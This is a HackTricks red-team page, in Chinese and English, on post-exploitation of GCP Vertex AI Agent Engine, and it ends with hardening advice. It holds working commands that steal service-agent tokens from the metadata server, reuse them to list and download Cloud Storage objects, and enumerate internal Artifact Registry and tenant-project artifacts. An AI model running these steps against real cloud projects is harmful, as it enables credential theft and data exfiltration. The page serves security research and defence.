GCP - Vertex AI Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Vertex AI Agent Engine / Reasoning Engine

本页关注在 Google-managed runtime 中运行攻击者控制的工具或代码的 Vertex AI Agent Engine / Reasoning Engine 工作负载。

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine 引入了一个有用但危险的模式：开发者提供的代码在 managed Google runtime 中运行，并使用 Google-managed identity。

The interesting trust boundaries are:

  • Consumer project: your project and your data.
  • Producer project: 负责运行后端服务的 Google-managed project。
  • Tenant project: 专用于已部署 agent 实例的 Google-managed project。

According to Google’s Vertex AI IAM documentation, Vertex AI resources can use Vertex AI service agents as resource identities, and those service agents can have read-only access to all Cloud Storage resources and BigQuery data in the project by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting.

Main abuse path

  1. Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime.
  2. Query the metadata server to recover project identity, service account identity, OAuth scopes, and access tokens.
  3. Reuse the stolen token as the Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivot into the consumer project and read project-wide storage data allowed by the service agent.
  5. Pivot into the producer and tenant environments reachable by the same identity.
  6. Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as Dockerfile.zip, requirements.txt, and code.pkl.

This is not just a “run code in your own agent” issue. The key problem is the combination of:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

识别 Agent Engine 资源

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

如果你有一个具有 Vertex AI 访问权限的 token，请直接枚举 Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

检查部署日志，因为它们可能 leak internal producer Artifact Registry paths 用于打包或运行时启动：

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Unit 42 的研究观察到内部路径，例如：

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

从运行时窃取元数据凭证

如果你能够在代理运行时执行代码，首先查询元数据服务：

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

有趣的字段包括：

  • 项目标识符
  • 附加的服务帐号 / 服务代理
  • 运行时可用的 OAuth 作用域

然后为附加的身份请求一个令牌：

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

验证 token 并检查授予的 scopes：

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google 在研究报告发布后更改了 ADK 部署流程的部分内容，因此旧的部署片段可能不再与当前 SDK 完全匹配。重要的基本原语仍然相同：如果攻击者控制的代码在 Agent Engine runtime 中执行，metadata-derived credentials 就会变得可访问，除非有额外控制阻断该路径。

Consumer-project pivot: service-agent 数据窃取

一旦 runtime token 被窃取，应测试 service agent 对 consumer project 的实际访问权限。

已记录的危险默认能力是对项目数据的广泛 读取访问。Unit 42 的研究特别验证了：

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

使用被窃取的 token 的实际验证：

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

这会将一个被入侵或恶意的 agent 转变为 project-wide storage exfiltration primitive。

Producer-project pivot: internal Artifact Registry access

相同的被窃取身份也可能对 Google-managed producer resources 生效。

首先测试从日志中恢复的内部仓库 URIs。然后使用 Artifact Registry API 枚举包：

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

如果你只有一个原始 bearer token，请直接调用 REST API：

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

这是有价值的，即使写入权限被阻止，因为它会暴露：

  • 内部镜像名称
  • 已弃用的镜像
  • 供应链结构
  • 用于后续研究的包/版本清单

For more Artifact Registry background check:

GCP - Artifact Registry Enum

租户项目枢纽：部署工件检索

Reasoning Engine 部署在由 Google 为该实例控制的租户项目中也会留下有趣的工件。

Unit 42 的研究发现：

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

使用被盗令牌枚举可访问的存储并搜索部署工件：

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

来自租户项目的工件可能会暴露：

  • 内部 bucket 名称
  • 内部镜像引用
  • 打包假设
  • 依赖列表
  • 序列化的 agent 代码

该博客还观察到类似的内部引用：

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

即使所引用的受限存储桶不可读，这些 leaked 路径仍有助于映射内部基础设施。

code.pkl and conditional RCE

如果部署流水线以 Python pickle 格式存储可执行的 agent 状态，应将其视为高风险目标。

直接的问题是机密性：

  • 离线反序列化可能暴露代码结构
  • 包格式会 leaks 实现细节

更大的问题是条件性 RCE：

  • 如果攻击者能在服务端反序列化之前篡改序列化的工件
  • 且流水线随后加载该 pickle
  • 则在受管运行时中可能发生任意代码执行

这本身并不是一个独立的利用链。它是一个危险的反序列化 sink，当与任何工件写入或供应链篡改原语结合时会变得关键。

OAuth scopes and Workspace blast radius

元数据响应也会暴露附加到运行时的OAuth scopes。

如果这些 scopes 比所需最低权限更宽泛，被盗的令牌可能不仅对 GCP APIs 有用。IAM 仍然决定该身份是否被授权，但过宽的 scopes 会增加 blast radius，并使后续的错误配置更危险。

如果发现与 Workspace 相关的 scopes，请交叉检查该被妥协的身份是否也有通向 Workspace 假冒或委托访问的路径：

GCP <–> Workspace Pivoting

Hardening / detection

Prefer a custom service account over the default managed identity

当前 Agent Engine 文档支持为已部署的 agent 设置自定义服务账号。这是减少 blast radius 的最直接方式：

  • 消除对默认范围广泛的 service agent 的依赖
  • 仅授予 agent 所需的最小权限
  • 使运行时身份可审计并有明确的作用域

Validate the actual service-agent access

在每个使用 Agent Engine 的项目中，检查 Vertex AI service agent 的实际访问权限：

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

关注所附身份是否可以读取：

  • 所有 GCS buckets
  • BigQuery 数据集
  • Artifact Registry 仓库
  • secrets 或可从构建/部署工作流访问的内部注册表

将 agent 代码视为特权代码执行

agent 执行的任何工具或函数都应被审查，就像它们是在具有元数据访问的 VM 上运行的代码一样。实践中这意味着：

  • 审查 agent 的工具，查看是否有对元数据端点的直接 HTTP 访问
  • 检查日志中是否引用内部 pkg.dev 仓库和租户存储桶
  • 审查任何将可执行状态以 pickle 存储的打包路径

参考资料

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks